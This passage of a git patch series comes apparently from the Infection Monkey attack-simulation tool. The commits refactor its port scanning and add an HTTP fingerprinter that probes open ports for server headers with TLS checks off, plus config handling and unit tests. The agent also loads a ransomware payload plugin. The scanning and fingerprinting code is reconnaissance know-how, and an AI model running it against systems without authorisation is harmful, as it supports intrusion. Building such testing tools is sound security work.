= 3) -> PortScanData: - return self._mock_puppet.scan_tcp_port(host, port, timeout) + def scan_tcp_ports( + self, host: str, ports: List[int], timeout: float = 3 + ) -> Dict[int, PortScanData]: + return self._mock_puppet.scan_tcp_ports(host, ports, timeout) def fingerprint( self, diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py index 93762e44e..59bb6bf77 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py @@ -222,19 +222,20 @@ def test_stop_after_callback(scan_config, stop): assert stoppable_callback.call_count == 2 -def test_interrupt_port_scanning(callback, scan_config, stop): - def stoppable_scan_tcp_port(port, *_): +def test_interrupt_before_fingerprinting(callback, scan_config, stop): + def stoppable_scan_tcp_ports(port, *_): # Block all threads here until 2 threads reach this barrier, then set stop # and test that neither thread scans any more ports - stoppable_scan_tcp_port.barrier.wait() + stoppable_scan_tcp_ports.barrier.wait() stop.set() - return PortScanData(port, False, None, None) + return {port: PortScanData(port, False, None, None)} - stoppable_scan_tcp_port.barrier = Barrier(2) + stoppable_scan_tcp_ports.barrier = Barrier(2) puppet = MockPuppet() - puppet.scan_tcp_port = MagicMock(side_effect=stoppable_scan_tcp_port) + puppet.scan_tcp_ports = MagicMock(side_effect=stoppable_scan_tcp_ports) + puppet.fingerprint = MagicMock() addresses = [ NetworkAddress("10.0.0.1", None), @@ -246,7 +247,7 @@ def test_interrupt_port_scanning(callback, scan_config, stop): ns = IPScanner(puppet, num_workers=2) ns.scan(addresses, scan_config, callback, stop) - assert puppet.scan_tcp_port.call_count == 2 + puppet.fingerprint.assert_not_called() def test_interrupt_fingerprinting(callback, scan_config, stop): From 5695808adbf7f4d6e9c698fe42d389fdb42c629e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Feb 2022 08:33:08 -0500 Subject: [PATCH 0296/1110] Agent: Add options parameter to IPuppet.fingerprint() --- monkey/infection_monkey/i_puppet/i_puppet.py | 3 +++ monkey/infection_monkey/master/ip_scanner.py | 4 +++- monkey/infection_monkey/puppet/mock_puppet.py | 1 + monkey/infection_monkey/puppet/puppet.py | 3 ++- 4 files changed, 9 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index c0a42d95c..1908e5337 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -83,6 +83,7 @@ class IPuppet(metaclass=abc.ABCMeta): host: str, ping_scan_data: PingScanData, port_scan_data: Dict[int, PortScanData], + options: Dict, ) -> FingerprintData: """ Runs a fingerprinter against a remote host @@ -91,6 +92,8 @@ class IPuppet(metaclass=abc.ABCMeta): :param PingScanData ping_scan_data: Data retrieved from the target host via ICMP :param Dict[int, PortScanData] port_scan_data: Data retrieved from the target host via a TCP port scan + :param Dict options: A dictionary containing options that modify the behavior of the + fingerprinter :return: The data collected by running the fingerprinter on the specified host :rtype: FingerprintData """ diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 135f79c94..c78b2e2f9 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -95,6 +95,8 @@ class IPScanner: fingerprint_data = {} for f in interruptable_iter(fingerprinters, stop): - fingerprint_data[f] = self._puppet.fingerprint(f, ip, ping_scan_data, port_scan_data) + fingerprint_data[f] = self._puppet.fingerprint( + f, ip, ping_scan_data, port_scan_data, {} + ) return fingerprint_data diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index d35ec2cbb..ec3984685 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -206,6 +206,7 @@ class MockPuppet(IPuppet): host: str, ping_scan_data: PingScanData, port_scan_data: Dict[int, PortScanData], + options: Dict, ) -> FingerprintData: logger.debug(f"fingerprint({name}, {host})") empty_fingerprint_data = FingerprintData(None, None, {}) diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 175a3f0eb..b7be64002 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -47,8 +47,9 @@ class Puppet(IPuppet): host: str, ping_scan_data: PingScanData, port_scan_data: Dict[int, PortScanData], + options: Dict, ) -> FingerprintData: - return self._mock_puppet.fingerprint(name, host, ping_scan_data, port_scan_data) + return self._mock_puppet.fingerprint(name, host, ping_scan_data, port_scan_data, options) def exploit_host( self, name: str, host: str, options: Dict, interrupt: threading.Event From 4361aa2325be7001fbbd5b394b07ee101ad35278 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Feb 2022 10:23:28 -0500 Subject: [PATCH 0297/1110] Agent: Add IFingerprinter --- monkey/infection_monkey/i_puppet/__init__.py | 1 + .../i_puppet/i_fingerprinter.py | 27 +++++++++++++++++++ monkey/infection_monkey/i_puppet/i_puppet.py | 5 ++-- 3 files changed, 31 insertions(+), 2 deletions(-) create mode 100644 monkey/infection_monkey/i_puppet/i_fingerprinter.py diff --git a/monkey/infection_monkey/i_puppet/__init__.py b/monkey/infection_monkey/i_puppet/__init__.py index 0ba1096d1..c4e6b5b1c 100644 --- a/monkey/infection_monkey/i_puppet/__init__.py +++ b/monkey/infection_monkey/i_puppet/__init__.py @@ -9,3 +9,4 @@ from .i_puppet import ( PostBreachData, UnknownPluginError, ) +from .i_fingerprinter import IFingerprinter diff --git a/monkey/infection_monkey/i_puppet/i_fingerprinter.py b/monkey/infection_monkey/i_puppet/i_fingerprinter.py new file mode 100644 index 000000000..e6f177021 --- /dev/null +++ b/monkey/infection_monkey/i_puppet/i_fingerprinter.py @@ -0,0 +1,27 @@ +from abc import abstractmethod +from typing import Dict + +from . import FingerprintData, PingScanData, PortScanData + + +class IFingerprinter: + @abstractmethod + def get_host_fingerprint( + self, + host: str, + ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + options: Dict, + ) -> FingerprintData: + """ + Attempts to gather detailed information about a host and its services + :param str host: The domain name or IP address of a host + :param PingScanData ping_scan_data: Data retrieved from the target host via ICMP + :param Dict[int, PortScanData] port_scan_data: Data retrieved from the target host via a TCP + port scan + :param Dict options: A dictionary containing options that modify the behavior of the + fingerprinter + :return: Detailed information about the target host + :rtype: FingerprintData + """ + pass diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 1908e5337..69c128e68 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -86,7 +86,8 @@ class IPuppet(metaclass=abc.ABCMeta): options: Dict, ) -> FingerprintData: """ - Runs a fingerprinter against a remote host + Runs a specific fingerprinter to attempt to gather detailed information about a host and its + services :param str name: The name of the fingerprinter to run :param str host: The domain name or IP address of a host :param PingScanData ping_scan_data: Data retrieved from the target host via ICMP @@ -94,7 +95,7 @@ class IPuppet(metaclass=abc.ABCMeta): port scan :param Dict options: A dictionary containing options that modify the behavior of the fingerprinter - :return: The data collected by running the fingerprinter on the specified host + :return: Detailed information about the target host :rtype: FingerprintData """ From f5ef660bd26e271a490e0270f0c09a52c51a88f6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Feb 2022 10:26:20 -0500 Subject: [PATCH 0298/1110] Agent: Refactor HTTPFinger to conform to IFingerprinter interface * Remove dependency on Plugin, HostFinger, and WormConfiguration * Improve readability * Reduce unnecessary HTTP requests by using the PortScanData to only query ports we know are open. --- monkey/infection_monkey/network/httpfinger.py | 95 +++++++++++++------ 1 file changed, 64 insertions(+), 31 deletions(-) diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index 99e9deaab..5c242a204 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -1,47 +1,80 @@ import logging +from contextlib import closing +from typing import Dict, Iterable, Optional, Set, Tuple -import infection_monkey.config -from infection_monkey.network.HostFinger import HostFinger +from requests import head +from requests.exceptions import ConnectionError, Timeout + +from infection_monkey.i_puppet import ( + FingerprintData, + IFingerprinter, + PingScanData, + PortScanData, + PortStatus, +) logger = logging.getLogger(__name__) -class HTTPFinger(HostFinger): +class HTTPFinger(IFingerprinter): """ Goal is to recognise HTTP servers, where what we currently care about is apache. """ - _SCANNED_SERVICE = "HTTP" + def get_host_fingerprint( + self, + host: str, + ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + options: Dict, + ): + services = {} + http_ports = set(options.get("http_ports", [])) + ports_to_fingerprint = _get_open_http_ports(http_ports, port_scan_data) - def __init__(self): - self._config = infection_monkey.config.WormConfiguration - self.HTTP = [(port, str(port)) for port in self._config.HTTP_PORTS] + for port in ports_to_fingerprint: + server_header_contents, ssl = _query_potential_http_server(host, port) - def get_host_fingerprint(self, host): - from contextlib import closing + if server_header_contents is not None: + services[f"tcp-{port}"] = { + "display_name": "HTTP", + "port": port, + "name": "http", + "data": (server_header_contents, ssl), + } - from requests import head - from requests.exceptions import ConnectionError, Timeout + return FingerprintData(None, None, services) - for port in self.HTTP: - # check both http and https - http = "http://" + host.ip_addr + ":" + port[1] - https = "https://" + host.ip_addr + ":" + port[1] - # try http, we don't optimise for 443 - for url in (https, http): # start with https and downgrade - try: - with closing(head(url, verify=False, timeout=1)) as req: # noqa: DUO123 - server = req.headers.get("Server") - ssl = True if "https://" in url else False - self.init_service(host.services, ("tcp-" + port[1]), port[0]) - host.services["tcp-" + port[1]]["name"] = "http" - host.services["tcp-" + port[1]]["data"] = (server, ssl) - logger.info("Port %d is open on host %s " % (port[0], host)) - break # https will be the same on the same port - except Timeout: - logger.debug(f"Timeout while requesting headers from {url}") - except ConnectionError: # Someone doesn't like us - logger.debug(f"Connection error while requesting headers from {url}") +def _query_potential_http_server(host: str, port: int) -> Tuple[Optional[str], Optional[bool]]: + # check both http and https + http = f"http://{host}:{port}" + https = f"https://{host}:{port}" - return True + # try http, we don't optimise for 443 + for url, ssl in ((https, True), (http, False)): # start with https and downgrade + server_header_contents = _get_server_from_headers(url) + + if server_header_contents is not None: + return (server_header_contents, ssl) + + return (None, None) + + +def _get_server_from_headers(url: str) -> Optional[str]: + try: + with closing(head(url, verify=False, timeout=1)) as req: # noqa: DUO123 + return req.headers.get("Server") + except Timeout: + logger.debug(f"Timeout while requesting headers from {url}") + except ConnectionError: # Someone doesn't like us + logger.debug(f"Connection error while requesting headers from {url}") + + return None + + +def _get_open_http_ports( + allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData] +) -> Iterable[int]: + open_ports = (psd.port for psd in port_scan_data.values() if psd.status == PortStatus.Open) + return (port for port in open_ports if port in allowed_http_ports) From 4b2fb260c393ba83b556af363badf2c83326ab1d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Feb 2022 10:29:23 -0500 Subject: [PATCH 0299/1110] Agent: Rename HTTPFinger -> HTTPFingerprinter --- .../network/{httpfinger.py => http_fingerprinter.py} | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename monkey/infection_monkey/network/{httpfinger.py => http_fingerprinter.py} (98%) diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/http_fingerprinter.py similarity index 98% rename from monkey/infection_monkey/network/httpfinger.py rename to monkey/infection_monkey/network/http_fingerprinter.py index 5c242a204..5b58db22c 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/http_fingerprinter.py @@ -16,7 +16,7 @@ from infection_monkey.i_puppet import ( logger = logging.getLogger(__name__) -class HTTPFinger(IFingerprinter): +class HTTPFingerprinter(IFingerprinter): """ Goal is to recognise HTTP servers, where what we currently care about is apache. """ From a989e5543a18c3cb09c2d0b4f470c1580916f80d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Feb 2022 12:07:45 -0500 Subject: [PATCH 0300/1110] Island: Format fingerprinter config with options --- monkey/monkey_island/cc/services/config.py | 13 +++++++++++-- .../monkey_island/cc/services/test_config.py | 13 ++++++++----- 2 files changed, 19 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index a0af1632c..163c9d1da 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -538,10 +538,19 @@ class ConfigService: @staticmethod def _format_fingerprinters_from_flat_config(config: Dict): flat_fingerprinter_classes_field = "finger_classes" + flat_http_ports_field = "HTTP_PORTS" + + formatted_fingerprinters = [ + {"name": f, "options": {}} for f in sorted(config[flat_fingerprinter_classes_field]) + ] + + if "HTTPFinger" in config[flat_fingerprinter_classes_field]: + for fp in formatted_fingerprinters: + if fp["name"] == "HTTPFinger": + fp["options"] = {"http_ports": sorted(config[flat_http_ports_field])} + break - formatted_fingerprinters = config[flat_fingerprinter_classes_field] config.pop(flat_fingerprinter_classes_field) - return formatted_fingerprinters @staticmethod diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 3ad02a7a6..fe8ec639e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -147,11 +147,14 @@ def test_format_config_for_agent__network_scan(flat_monkey_config): "timeout_ms": 1000, }, "fingerprinters": [ - "SMBFinger", - "SSHFinger", - "HTTPFinger", - "MSSQLFinger", - "ElasticFinger", + {"name": "ElasticFinger", "options": {}}, + { + "name": "HTTPFinger", + "options": {"http_ports": [80, 443, 7001, 8008, 8080, 9200]}, + }, + {"name": "MSSQLFinger", "options": {}}, + {"name": "SMBFinger", "options": {}}, + {"name": "SSHFinger", "options": {}}, ], } ConfigService.format_flat_config_for_agent(flat_monkey_config) From 46487be05d5d6cc185f4af095025dbfab0cea950 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Feb 2022 12:55:57 -0500 Subject: [PATCH 0301/1110] Agent: Handle new fingerprinters config format in IPScanner --- monkey/infection_monkey/master/ip_scanner.py | 4 ++-- .../unit_tests/infection_monkey/master/test_ip_scanner.py | 7 ++++++- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index c78b2e2f9..67520054e 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -95,8 +95,8 @@ class IPScanner: fingerprint_data = {} for f in interruptable_iter(fingerprinters, stop): - fingerprint_data[f] = self._puppet.fingerprint( - f, ip, ping_scan_data, port_scan_data, {} + fingerprint_data[f["name"]] = self._puppet.fingerprint( + f["name"], ip, ping_scan_data, port_scan_data, f["options"] ) return fingerprint_data diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py index 59bb6bf77..c6aa0d532 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py @@ -30,7 +30,12 @@ def scan_config(): "icmp": { "timeout_ms": 1000, }, - "fingerprinters": {"HTTPFinger", "SMBFinger", "SSHFinger"}, + "fingerprinters": [ + {"name": "HTTPFinger", "options": {}}, + {"name": "SMBFinger", "options": {}}, + {"name": "SSHFinger", "options": {}}, + ] + } From 6d5b55be10278e63bc696538ae10a528f19b6c81 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Feb 2022 12:56:54 -0500 Subject: [PATCH 0302/1110] Agent: Implement fingerprinting in Puppet --- monkey/infection_monkey/monkey.py | 2 ++ monkey/infection_monkey/network/http_fingerprinter.py | 8 ++++++-- monkey/infection_monkey/puppet/puppet.py | 3 ++- 3 files changed, 10 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 20ed730a8..3b31e3a00 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -18,6 +18,7 @@ from infection_monkey.master.control_channel import ControlChannel from infection_monkey.model import DELAY_DELETE_CMD, VictimHostFactory from infection_monkey.network import NetworkInterface from infection_monkey.network.firewall import app as firewall +from infection_monkey.network.http_fingerprinter import HTTPFingerprinter from infection_monkey.network.info import get_local_network_interfaces from infection_monkey.payload.ransomware.ransomware_payload import RansomwarePayload from infection_monkey.puppet.puppet import Puppet @@ -183,6 +184,7 @@ class InfectionMonkey: @staticmethod def _build_puppet() -> IPuppet: puppet = Puppet() + puppet.load_plugin("HTTPFinger", HTTPFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) return puppet diff --git a/monkey/infection_monkey/network/http_fingerprinter.py b/monkey/infection_monkey/network/http_fingerprinter.py index 5b58db22c..dabef920b 100644 --- a/monkey/infection_monkey/network/http_fingerprinter.py +++ b/monkey/infection_monkey/network/http_fingerprinter.py @@ -63,8 +63,12 @@ def _query_potential_http_server(host: str, port: int) -> Tuple[Optional[str], O def _get_server_from_headers(url: str) -> Optional[str]: try: + logger.debug(f"Sending request for headers to {url}") with closing(head(url, verify=False, timeout=1)) as req: # noqa: DUO123 - return req.headers.get("Server") + server = req.headers.get("Server") + + logger.debug(f'Got server string "{server}" from {url}') + return server except Timeout: logger.debug(f"Timeout while requesting headers from {url}") except ConnectionError: # Someone doesn't like us @@ -76,5 +80,5 @@ def _get_server_from_headers(url: str) -> Optional[str]: def _get_open_http_ports( allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData] ) -> Iterable[int]: - open_ports = (psd.port for psd in port_scan_data.values() if psd.status == PortStatus.Open) + open_ports = (psd.port for psd in port_scan_data.values() if psd.status == PortStatus.OPEN) return (port for port in open_ports if port in allowed_http_ports) diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index b7be64002..ad9354d66 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -49,7 +49,8 @@ class Puppet(IPuppet): port_scan_data: Dict[int, PortScanData], options: Dict, ) -> FingerprintData: - return self._mock_puppet.fingerprint(name, host, ping_scan_data, port_scan_data, options) + fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER) + return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options) def exploit_host( self, name: str, host: str, options: Dict, interrupt: threading.Event From 207a65e2a9c3daa1cb4021e00a6d170219feee2b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Feb 2022 13:02:01 -0500 Subject: [PATCH 0303/1110] Island: Simplify the names of fingerprinters in the config --- monkey/monkey_island/cc/services/config.py | 8 +++++++- .../monkey_island/cc/services/test_config.py | 10 +++++----- 2 files changed, 12 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 163c9d1da..1396a130b 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -2,6 +2,7 @@ import collections import copy import functools import logging +import re from typing import Dict, List from jsonschema import Draft4Validator, validators @@ -548,11 +549,16 @@ class ConfigService: for fp in formatted_fingerprinters: if fp["name"] == "HTTPFinger": fp["options"] = {"http_ports": sorted(config[flat_http_ports_field])} - break + + fp["name"] = ConfigService._translate_fingerprinter_name(fp["name"]) config.pop(flat_fingerprinter_classes_field) return formatted_fingerprinters + @staticmethod + def _translate_fingerprinter_name(name: str): + return re.sub(r"Finger", "", name).lower() + @staticmethod def _format_targets_from_flat_config(config: Dict): flat_blocked_ips_field = "blocked_ips" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index fe8ec639e..daecec1b6 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -147,14 +147,14 @@ def test_format_config_for_agent__network_scan(flat_monkey_config): "timeout_ms": 1000, }, "fingerprinters": [ - {"name": "ElasticFinger", "options": {}}, + {"name": "elastic", "options": {}}, { - "name": "HTTPFinger", + "name": "http", "options": {"http_ports": [80, 443, 7001, 8008, 8080, 9200]}, }, - {"name": "MSSQLFinger", "options": {}}, - {"name": "SMBFinger", "options": {}}, - {"name": "SSHFinger", "options": {}}, + {"name": "mssql", "options": {}}, + {"name": "smb", "options": {}}, + {"name": "ssh", "options": {}}, ], } ConfigService.format_flat_config_for_agent(flat_monkey_config) From 479627c71ed75f5664d4eb56cb03fb5acd164628 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Feb 2022 13:05:10 -0500 Subject: [PATCH 0304/1110] Agent: Load the HTTPFingerprinter using the new name, "http" --- monkey/infection_monkey/monkey.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 3b31e3a00..5d029428a 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -184,7 +184,7 @@ class InfectionMonkey: @staticmethod def _build_puppet() -> IPuppet: puppet = Puppet() - puppet.load_plugin("HTTPFinger", HTTPFingerprinter(), PluginType.FINGERPRINTER) + puppet.load_plugin("http", HTTPFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) return puppet From 916222c2d993ae6c4d43d6ee55d1b7872c761705 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Feb 2022 14:08:52 -0500 Subject: [PATCH 0305/1110] UT: Add unit tests for HTTPFingerprinter --- .../network/http_fingerprinter.py | 2 +- .../network/test_http_fingerprinter.py | 113 ++++++++++++++++++ 2 files changed, 114 insertions(+), 1 deletion(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/network/test_http_fingerprinter.py diff --git a/monkey/infection_monkey/network/http_fingerprinter.py b/monkey/infection_monkey/network/http_fingerprinter.py index dabef920b..5ebc2c514 100644 --- a/monkey/infection_monkey/network/http_fingerprinter.py +++ b/monkey/infection_monkey/network/http_fingerprinter.py @@ -24,7 +24,7 @@ class HTTPFingerprinter(IFingerprinter): def get_host_fingerprint( self, host: str, - ping_scan_data: PingScanData, + _: PingScanData, port_scan_data: Dict[int, PortScanData], options: Dict, ): diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_http_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network/test_http_fingerprinter.py new file mode 100644 index 000000000..5b2a89445 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/network/test_http_fingerprinter.py @@ -0,0 +1,113 @@ +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.i_puppet import PortScanData, PortStatus +from infection_monkey.network.http_fingerprinter import HTTPFingerprinter + +OPTIONS = {"http_ports": [80, 443, 8080, 9200]} + +PYTHON_SERVER_HEADER = "SimpleHTTP/0.6 Python/3.6.9" +APACHE_SERVER_HEADER = "Apache/Server/Header" + +SERVER_HEADERS = { + "https://127.0.0.1:443": PYTHON_SERVER_HEADER, + "http://127.0.0.1:8080": APACHE_SERVER_HEADER, +} + + +@pytest.fixture +def mock_get_server_from_headers(): + return MagicMock(side_effect=lambda port: SERVER_HEADERS.get(port, None)) + + +@pytest.fixture(autouse=True) +def patch_get_server_from_headers(monkeypatch, mock_get_server_from_headers): + monkeypatch.setattr( + "infection_monkey.network.http_fingerprinter._get_server_from_headers", + mock_get_server_from_headers, + ) + + +@pytest.fixture +def http_fingerprinter(): + return HTTPFingerprinter() + + +def test_no_http_ports_open(mock_get_server_from_headers, http_fingerprinter): + port_scan_data = { + 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), + 123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"), + 443: PortScanData(443, PortStatus.CLOSED, "", "tcp-443"), + 8080: PortScanData(8080, PortStatus.CLOSED, "", "tcp-8080"), + } + http_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, OPTIONS) + + assert not mock_get_server_from_headers.called + + +def test_fingerprint_only_port_443(mock_get_server_from_headers, http_fingerprinter): + port_scan_data = { + 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), + 123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"), + 443: PortScanData(443, PortStatus.OPEN, "", "tcp-443"), + 8080: PortScanData(8080, PortStatus.CLOSED, "", "tcp-8080"), + } + fingerprint_data = http_fingerprinter.get_host_fingerprint( + "127.0.0.1", None, port_scan_data, OPTIONS + ) + + assert mock_get_server_from_headers.call_count == 1 + mock_get_server_from_headers.assert_called_with("https://127.0.0.1:443") + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 1 + + assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER + assert fingerprint_data.services["tcp-443"]["data"][1] is True + + +def test_open_port_no_http_server(mock_get_server_from_headers, http_fingerprinter): + port_scan_data = { + 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), + 123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"), + 443: PortScanData(443, PortStatus.CLOSED, "", "tcp-443"), + 9200: PortScanData(9200, PortStatus.OPEN, "", "tcp-9200"), + } + fingerprint_data = http_fingerprinter.get_host_fingerprint( + "127.0.0.1", None, port_scan_data, OPTIONS + ) + + assert mock_get_server_from_headers.call_count == 2 + mock_get_server_from_headers.assert_any_call("https://127.0.0.1:9200") + mock_get_server_from_headers.assert_any_call("http://127.0.0.1:9200") + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 0 + + +def test_multiple_open_ports(mock_get_server_from_headers, http_fingerprinter): + port_scan_data = { + 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), + 443: PortScanData(443, PortStatus.OPEN, "", "tcp-443"), + 8080: PortScanData(8080, PortStatus.OPEN, "", "tcp-8080"), + } + fingerprint_data = http_fingerprinter.get_host_fingerprint( + "127.0.0.1", None, port_scan_data, OPTIONS + ) + + assert mock_get_server_from_headers.call_count == 3 + mock_get_server_from_headers.assert_any_call("https://127.0.0.1:443") + mock_get_server_from_headers.assert_any_call("https://127.0.0.1:8080") + mock_get_server_from_headers.assert_any_call("http://127.0.0.1:8080") + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 2 + + assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER + assert fingerprint_data.services["tcp-443"]["data"][1] is True + assert fingerprint_data.services["tcp-8080"]["data"][0] == APACHE_SERVER_HEADER + assert fingerprint_data.services["tcp-8080"]["data"][1] is False From 0b33aacb8252199520d0cf36c441b44caf4ffecc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Feb 2022 07:38:24 -0500 Subject: [PATCH 0306/1110] Island: Add missing return types to some functions in ConfigService --- monkey/monkey_island/cc/services/config.py | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 1396a130b..ba37d357c 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -3,7 +3,7 @@ import copy import functools import logging import re -from typing import Dict, List +from typing import Any, Dict, List from jsonschema import Draft4Validator, validators @@ -406,7 +406,7 @@ class ConfigService: return ConfigService.get_config_value(EXPORT_MONKEY_TELEMS_PATH) @staticmethod - def get_config_propagation_credentials_from_flat_config(config): + def get_config_propagation_credentials_from_flat_config(config) -> Dict[str, List[str]]: return { "exploit_user_list": config.get("exploit_user_list", []), "exploit_password_list": config.get("exploit_password_list", []), @@ -483,8 +483,8 @@ class ConfigService: config["propagation"] = formatted_propagation_config @staticmethod - def _format_network_scan_from_flat_config(config: Dict): - formatted_network_scan_config = {"tcp": {}, "icmp": {}} + def _format_network_scan_from_flat_config(config: Dict) -> Dict[str, Any]: + formatted_network_scan_config = {"tcp": {}, "icmp": {}, "fingerprinters": []} formatted_network_scan_config["tcp"] = ConfigService._format_tcp_scan_from_flat_config( config @@ -499,7 +499,7 @@ class ConfigService: return formatted_network_scan_config @staticmethod - def _format_tcp_scan_from_flat_config(config: Dict): + def _format_tcp_scan_from_flat_config(config: Dict) -> Dict[str, Any]: flat_http_ports_field = "HTTP_PORTS" flat_tcp_timeout_field = "tcp_scan_timeout" flat_tcp_ports_field = "tcp_target_ports" @@ -526,7 +526,7 @@ class ConfigService: return sorted(combined_ports) @staticmethod - def _format_icmp_scan_from_flat_config(config: Dict): + def _format_icmp_scan_from_flat_config(config: Dict) -> Dict[str, Any]: flat_ping_timeout_field = "ping_scan_timeout" formatted_icmp_scan_config = {} @@ -537,7 +537,7 @@ class ConfigService: return formatted_icmp_scan_config @staticmethod - def _format_fingerprinters_from_flat_config(config: Dict): + def _format_fingerprinters_from_flat_config(config: Dict) -> List[Dict[str, Any]]: flat_fingerprinter_classes_field = "finger_classes" flat_http_ports_field = "HTTP_PORTS" @@ -556,11 +556,11 @@ class ConfigService: return formatted_fingerprinters @staticmethod - def _translate_fingerprinter_name(name: str): + def _translate_fingerprinter_name(name: str) -> str: return re.sub(r"Finger", "", 